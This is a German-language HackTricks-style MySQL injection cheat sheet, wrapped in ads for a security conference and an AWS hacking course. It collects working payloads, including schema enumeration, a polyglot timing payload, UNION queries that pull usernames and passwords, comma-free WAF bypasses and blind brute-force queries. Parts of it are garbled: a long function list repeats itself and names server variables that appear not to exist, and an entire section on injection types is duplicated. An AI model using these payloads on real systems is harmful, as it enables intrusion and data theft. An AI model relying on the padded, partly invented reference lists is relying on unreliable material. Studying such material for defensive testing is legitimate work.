MySQL injection

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

​​RootedCON ist die relevanteste Cybersicherheitsveranstaltung in Spanien und eine der wichtigsten in Europa. Mit dem Ziel, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsfachleute in jeder Disziplin.

Kommentare

-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Interessante Funktionen

Mysql bestätigen:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Nützliche Funktionen

The following functions can be useful when performing MySQL injection attacks:

Die folgenden Funktionen können nützlich sein, wenn Sie MySQL-Injektionsangriffe durchführen:

  • version(): This function returns the version of the MySQL server.

  • user(): This function returns the current username.

  • database(): This function returns the name of the current database.

  • current_user(): This function returns the current username and host.

  • schema(): This function returns the name of the current database.

  • @@hostname: This variable returns the hostname of the MySQL server.

  • @@datadir: This variable returns the data directory of the MySQL server.

  • @@basedir: This variable returns the base directory of the MySQL server.

  • @@version_compile_os: This variable returns the operating system on which the MySQL server is compiled.

  • @@version: This variable returns the version of the MySQL server.

  • @@global.version_compile_os: This variable returns the operating system on which the MySQL server is compiled.

  • @@global.version: This variable returns the version of the MySQL server.

  • @@global.datadir: This variable returns the data directory of the MySQL server.

  • @@global.basedir: This variable returns the base directory of the MySQL server.

  • @@global.hostname: This variable returns the hostname of the MySQL server.

  • @@global.collation_server: This variable returns the collation used by the MySQL server.

  • @@global.character_set_server: This variable returns the character set used by the MySQL server.

  • @@global.character_set_database: This variable returns the character set used by the current database.

  • @@global.character_set_connection: This variable returns the character set used by the current connection.

  • @@global.character_set_results: This variable returns the character set used for returning query results.

  • @@global.character_set_client: This variable returns the character set used by the client.

  • @@global.character_set_filesystem: This variable returns the character set used by the file system.

  • @@global.character_set_system: This variable returns the character set used by the system.

  • @@global.character_set_server: This variable returns the character set used by the server.

  • @@global.character_set_database: This variable returns the character set used by the database.

  • @@global.character_set_connection: This variable returns the character set used by the connection.

  • @@global.character_set_results: This variable returns the character set used for query results.

  • @@global.character_set_client: This variable returns the character set used by the client.

  • @@global.character_set_filesystem: This variable returns the character set used by the file system.

  • @@global.character_set_system: This variable returns the character set used by the system.

  • @@global.collation_server: This variable returns the collation used by the server.

  • @@global.collation_database: This variable returns the collation used by the database.

  • @@global.collation_connection: This variable returns the collation used by the connection.

  • @@global.collation_results: This variable returns the collation used for query results.

  • @@global.collation_client: This variable returns the collation used by the client.

  • @@global.collation_filesystem: This variable returns the collation used by the file system.

  • @@global.collation_system: This variable returns the collation used by the system.

  • @@global.collation_server: This variable returns the collation used by the server.

  • @@global.collation_database: This variable returns the collation used by the database.

  • @@global.collation_connection: This variable returns the collation used by the connection.

  • @@global.collation_results: This variable returns the collation used for query results.

  • @@global.collation_client: This variable returns the collation used by the client.

  • @@global.collation_filesystem: This variable returns the collation used by the file system.

  • @@global.collation_system: This variable returns the collation used by the system.

SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Alle Injektionen

Injektionen sind eine der häufigsten Sicherheitslücken in Webanwendungen. Sie treten auf, wenn nicht vertrauenswürdige Daten in eine Anfrage oder Abfrage eingefügt werden, wodurch ein Angreifer schädlichen Code ausführen kann. In diesem Abschnitt werden verschiedene Arten von Injektionen behandelt, die bei MySQL-Datenbanken auftreten können.

SQL-Injektion

Bei einer SQL-Injektion kann ein Angreifer schädlichen SQL-Code in eine Anfrage einschleusen, um unerwünschte Aktionen auszuführen. Dies kann dazu führen, dass Datenbanken kompromittiert, Informationen gestohlen oder sogar die gesamte Anwendung übernommen wird.

Fehlerbasierte SQL-Injektion

Bei einer fehlerbasierten SQL-Injektion nutzt ein Angreifer Fehlermeldungen der Datenbank aus, um Informationen über die Datenbankstruktur zu erhalten. Durch das gezielte Auslösen von Fehlern kann der Angreifer sensible Informationen wie Tabellennamen, Spaltennamen oder sogar Daten aus der Datenbank extrahieren.

Union-basierte SQL-Injektion

Bei einer union-basierten SQL-Injektion nutzt ein Angreifer die UNION-Abfrage in SQL aus, um Daten aus einer anderen Tabelle abzurufen. Durch das Hinzufügen von UNION-Abfragen kann der Angreifer Daten aus einer anderen Tabelle in die ursprüngliche Abfrage einfügen und so vertrauliche Informationen erhalten.

Time-based SQL-Injektion

Bei einer time-based SQL-Injektion nutzt ein Angreifer die Verzögerungsfunktionen der Datenbank aus, um Informationen zu extrahieren. Durch das Hinzufügen von Verzögerungen in der SQL-Abfrage kann der Angreifer feststellen, ob bestimmte Bedingungen erfüllt sind oder nicht, und so schrittweise Informationen über die Datenbank erhalten.

Blind SQL-Injektion

Bei einer Blind SQL-Injektion kann ein Angreifer keine direkten Fehlermeldungen oder Informationen aus der Datenbank erhalten. Stattdessen nutzt der Angreifer logische Bedingungen und Zeitverzögerungen, um schrittweise Informationen zu extrahieren. Dies erfordert oft Geduld und Ausdauer, kann aber dennoch zu erfolgreichen Angriffen führen.

Weitere Injektionen

Neben SQL-Injektionen gibt es auch andere Arten von Injektionen, die bei Webanwendungen auftreten können. Hier sind einige Beispiele:

OS-Injektion

Bei einer OS-Injektion kann ein Angreifer schädlichen Code in das Betriebssystem einschleusen. Dies kann dazu führen, dass der Angreifer Befehle auf dem Server ausführt, Dateien liest oder schreibt oder sogar das gesamte System übernimmt.

LDAP-Injektion

Bei einer LDAP-Injektion kann ein Angreifer schädlichen Code in eine LDAP-Anfrage einschleusen. Dadurch kann der Angreifer unerwünschte Aktionen ausführen, wie z.B. das Auslesen oder Ändern von Daten in einem LDAP-Verzeichnis.

XML-Injektion

Bei einer XML-Injektion kann ein Angreifer schädlichen Code in eine XML-Anfrage einschleusen. Dadurch kann der Angreifer unerwünschte Aktionen ausführen, wie z.B. das Auslesen oder Ändern von Daten in einer XML-Datei.

XPath-Injektion

Bei einer XPath-Injektion kann ein Angreifer schädlichen Code in eine XPath-Anfrage einschleusen. Dadurch kann der Angreifer unerwünschte Aktionen ausführen, wie z.B. das Auslesen oder Ändern von Daten in einer XML-Datei, die XPath verwendet.

Command Injection

Bei einer Command Injection kann ein Angreifer schädlichen Code in eine Befehlszeile einschleusen. Dadurch kann der Angreifer Befehle auf dem Server ausführen und unerwünschte Aktionen durchführen.

Code Injection

Bei einer Code Injection kann ein Angreifer schädlichen Code in eine Anwendung einschleusen. Dadurch kann der Angreifer die Kontrolle über die Anwendung übernehmen und unerwünschte Aktionen ausführen.

Server-Side Template Injection (SSTI)

Bei einer Server-Side Template Injection kann ein Angreifer schädlichen Code in ein Serverseitiges Template einschleusen. Dadurch kann der Angreifer die Kontrolle über das Template übernehmen und unerwünschte Aktionen ausführen.

Client-Side Template Injection (CSTI)

Bei einer Client-Side Template Injection kann ein Angreifer schädlichen Code in ein Clientseitiges Template einschleusen. Dadurch kann der Angreifer die Kontrolle über das Template übernehmen und unerwünschte Aktionen ausführen.

Expression Language Injection (EL Injection)

Bei einer Expression Language Injection kann ein Angreifer schädlichen Code in eine Expression Language-Anweisung einschleusen. Dadurch kann der Angreifer unerwünschte Aktionen ausführen, wie z.B. das Auslesen oder Ändern von Daten in einer Webanwendung.

JavaScript Injection

Bei einer JavaScript-Injektion kann ein Angreifer schädlichen JavaScript-Code in eine Webanwendung einschleusen. Dadurch kann der Angreifer unerwünschte Aktionen ausführen, wie z.B. das Auslesen oder Ändern von Daten in der Anwendung oder das Umleiten des Benutzers auf eine bösartige Website.

HTML Injection

Bei einer HTML-Injektion kann ein Angreifer schädlichen HTML-Code in eine Webanwendung einschleusen. Dadurch kann der Angreifer unerwünschte Aktionen ausführen, wie z.B. das Anzeigen von gefälschten Formularen oder das Umleiten des Benutzers auf eine bösartige Website.

CSS Injection

Bei einer CSS-Injektion kann ein Angreifer schädlichen CSS-Code in eine Webanwendung einschleusen. Dadurch kann der Angreifer das Aussehen der Anwendung ändern oder unerwünschte Aktionen ausführen, wie z.B. das Auslesen von Daten über Hintergrundbilder.

Server-Side Request Forgery (SSRF)

Bei einer Server-Side Request Forgery kann ein Angreifer die Anwendung dazu bringen, Anfragen an andere interne oder externe Ressourcen zu senden. Dadurch kann der Angreifer Informationen aus internen Netzwerken abrufen oder Angriffe auf externe Ressourcen durchführen.

Remote File Inclusion (RFI)

Bei einer Remote File Inclusion kann ein Angreifer schädlichen Code von einer externen Quelle in eine Anwendung einschleusen. Dadurch kann der Angreifer die Kontrolle über die Anwendung übernehmen und unerwünschte Aktionen ausführen.

Local File Inclusion (LFI)

Bei einer Local File Inclusion kann ein Angreifer lokale Dateien in eine Anwendung einschleusen. Dadurch kann der Angreifer vertrauliche Informationen auslesen oder sogar das gesamte System kompromittieren.

Path Traversal

Bei einem Path Traversal-Angriff kann ein Angreifer Dateien oder Verzeichnisse außerhalb des vorgesehenen Pfades einer Anwendung abrufen. Dadurch kann der Angreifer auf vertrauliche Informationen zugreifen oder sogar das gesamte System kompromittieren.

LDAP Injection

Bei einer LDAP-Injektion kann ein Angreifer schädlichen Code in eine LDAP-Anfrage einschleusen. Dadurch kann der Angreifer unerwünschte Aktionen ausführen, wie z.B. das Auslesen oder Ändern von Daten in einem LDAP-Verzeichnis.

XPath Injection

Bei einer XPath-Injektion kann ein Angreifer schädlichen Code in eine XPath-Anfrage einschleusen. Dadurch kann der Angreifer unerwünschte Aktionen ausführen, wie z.B. das Auslesen oder Ändern von Daten in einer XML-Datei, die XPath verwendet.

XXE (XML External Entity) Injection

Bei einer XXE-Injektion kann ein Angreifer schädlichen Code in eine XML-Anfrage einschleusen. Dadurch kann der Angreifer unerwünschte Aktionen ausführen, wie z.B. das Auslesen oder Ändern von Daten in einer XML-Datei oder das Ausführen von Remote-Code.

Server-Side Template Injection (SSTI)

Bei einer Server-Side Template Injection kann ein Angreifer schädlichen Code in ein Serverseitiges Template einschleusen. Dadurch kann der Angreifer die Kontrolle über das Template übernehmen und unerwünschte Aktionen ausführen.

Client-Side Template Injection (CSTI)

Bei einer Client-Side Template Injection kann ein Angreifer schädlichen Code in ein Clientseitiges Template einschleusen. Dadurch kann der Angreifer die Kontrolle über das Template übernehmen und unerwünschte Aktionen ausführen.

Expression Language Injection (EL Injection)

Bei einer Expression Language Injection kann ein Angreifer schädlichen Code in eine Expression Language-Anweisung einschleusen. Dadurch kann der Angreifer unerwünschte Aktionen ausführen, wie z.B. das Auslesen oder Ändern von Daten in einer Webanwendung.

JavaScript Injection

Bei einer JavaScript-Injektion kann ein Angreifer schädlichen JavaScript-Code in eine Webanwendung einschleusen. Dadurch kann der Angreifer unerwünschte Aktionen ausführen, wie z.B. das Auslesen oder Ändern von Daten in der Anwendung oder das Umleiten des Benutzers auf eine bösartige Website.

HTML Injection

Bei einer HTML-Injektion kann ein Angreifer schädlichen HTML-Code in eine Webanwendung einschleusen. Dadurch kann der Angreifer unerwünschte Aktionen ausführen, wie z.B. das Anzeigen von gefälschten Formularen oder das Umleiten des Benutzers auf eine bösartige Website.

CSS Injection

Bei einer CSS-Injektion kann ein Angreifer schädlichen CSS-Code in eine Webanwendung einschleusen. Dadurch kann der Angreifer das Aussehen der Anwendung ändern oder unerwünschte Aktionen ausführen, wie z.B. das Auslesen von Daten über Hintergrundbilder.

Server-Side Request Forgery (SSRF)

Bei einer Server-Side Request Forgery kann ein Angreifer die Anwendung dazu bringen, Anfragen an andere interne oder externe Ressourcen zu senden. Dadurch kann der Angreifer Informationen aus internen Netzwerken abrufen oder Angriffe auf externe Ressourcen durchführen.

Remote File Inclusion (RFI)

Bei einer Remote File Inclusion kann ein Angreifer schädlichen Code von einer externen Quelle in eine Anwendung einschleusen. Dadurch kann der Angreifer die Kontrolle über die Anwendung übernehmen und unerwünschte Aktionen ausführen.

Local File Inclusion (LFI)

Bei einer Local File Inclusion kann ein Angreifer lokale Dateien in eine Anwendung einschleusen. Dadurch kann der Angreifer vertrauliche Informationen auslesen oder sogar das gesamte System kompromittieren.

Path Traversal

Bei einem Path Traversal-Angriff kann ein Angreifer Dateien oder Verzeichnisse außerhalb des vorgesehenen Pfades einer Anwendung abrufen. Dadurch kann der Angreifer auf vertrauliche Informationen zugreifen oder sogar das gesamte System kompromittieren.

SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

von https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

Ablauf

Denken Sie daran, dass Sie in "modernen" Versionen von MySQL "information_schema.tables" durch "mysql.innodb_table_stats" ersetzen können (Dies könnte nützlich sein, um WAFs zu umgehen).

SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Nur 1 Wert

  • group_concat()

  • Limit X,1

Blind einer nach dem anderen

  • substr(version(),X,1)='r' oder substring(version(),X,1)=0x70 oder ascii(substr(version(),X,1))=112

  • mid(version(),X,1)='5'

Blind hinzufügen

  • LPAD(version(),1...lenght(version()),'1')='asd'...

  • RPAD(version(),1...lenght(version()),'1')='asd'...

  • SELECT RIGHT(version(),1...lenght(version()))='asd'...

  • SELECT LEFT(version(),1...lenght(version()))='asd'...

  • SELECT INSTR('foobarbar', 'fo...')=1

Anzahl der Spalten erkennen

Mit einer einfachen ORDER

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union-basiert

Die Union-basierte SQL-Injection ist eine Technik, bei der die UNION-Abfrage verwendet wird, um Daten aus einer anderen Tabelle abzurufen. Dieser Angriff erfolgt normalerweise über Eingabeformulare oder URL-Parameter, bei denen die Benutzereingabe nicht ordnungsgemäß validiert oder bereinigt wird.

Union-basierte SQL-Injection erkennen

Um eine Union-basierte SQL-Injection zu erkennen, können Sie versuchen, die Anzahl der Spalten in der SELECT-Anweisung zu ermitteln. Sie können dies tun, indem Sie eine UNION-Abfrage mit einer anderen SELECT-Anweisung kombinieren und die Anzahl der zurückgegebenen Spalten überprüfen. Wenn die Anzahl der Spalten übereinstimmt, besteht möglicherweise eine SQL-Injection.

Union-basierte SQL-Injection ausnutzen

Um eine Union-basierte SQL-Injection auszunutzen, müssen Sie die Anzahl der Spalten in der SELECT-Anweisung ermitteln und dann die Daten aus einer anderen Tabelle abrufen. Sie können dies tun, indem Sie die UNION-Abfrage verwenden und die erforderlichen Spaltennamen und Tabellennamen angeben.

Beispiel

Angenommen, wir haben eine URL-Parameter id, der in einer SQL-Abfrage verwendet wird:

https://example.com/page?id=1

Wir können versuchen, eine Union-basierte SQL-Injection auszuführen, indem wir die Anzahl der Spalten ermitteln:

https://example.com/page?id=1 UNION SELECT 1,2,3

Wenn die Anzahl der Spalten übereinstimmt, können wir die Daten aus einer anderen Tabelle abrufen:

https://example.com/page?id=1 UNION SELECT username, password FROM users

Schutzmaßnahmen

Um Union-basierte SQL-Injections zu verhindern, sollten Sie immer eine ordnungsgemäße Validierung und Bereinigung der Benutzereingaben durchführen. Verwenden Sie Parameterisierte Abfragen oder Prepared Statements, um sicherzustellen, dass die Benutzereingaben nicht direkt in die SQL-Abfrage eingefügt werden.

Weitere Ressourcen

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Hier erfahren Sie verschiedene Möglichkeiten, wie Sie eine Mysql-Injektion missbrauchen können, um eine SSRF zu erhalten. Hier** finden Sie weitere Informationen dazu.**

WAF-Bypass-Tricks

Alternativen zu Information_schema

Denken Sie daran, dass Sie in "modernen" Versionen von MySQL information_schema.tables durch mysql.innodb_table_stats oder durch sys.x$schema_flattened_keys oder durch sys.schema_table_statistics ersetzen können.

MySQL-Injektion ohne Kommas

Wählen Sie 2 Spalten aus, ohne ein Komma zu verwenden (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Abrufen von Werten ohne Spaltennamen

Wenn Sie zu einem bestimmten Zeitpunkt den Namen der Tabelle kennen, aber nicht den Namen der Spalten in der Tabelle, können Sie versuchen herauszufinden, wie viele Spalten es gibt, indem Sie etwas Ähnliches ausführen:

# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

Angenommen, es gibt 2 Spalten (wobei die erste die ID ist) und die andere die Flagge ist, können Sie versuchen, den Inhalt der Flagge durch Brute-Force zu ermitteln, indem Sie Zeichen für Zeichen ausprobieren:

# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

Mehr Informationen finden Sie unter https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

MySQL Geschichte

Sie können andere Ausführungen innerhalb von MySQL sehen, indem Sie die Tabelle sys.x$statement_analysis lesen.

Alternative Versionen

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

Weitere MYSQL-Injektionsanleitungen

Referenzen

​​​​RootedCON ist die relevanteste Cybersicherheitsveranstaltung in Spanien und eine der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Last updated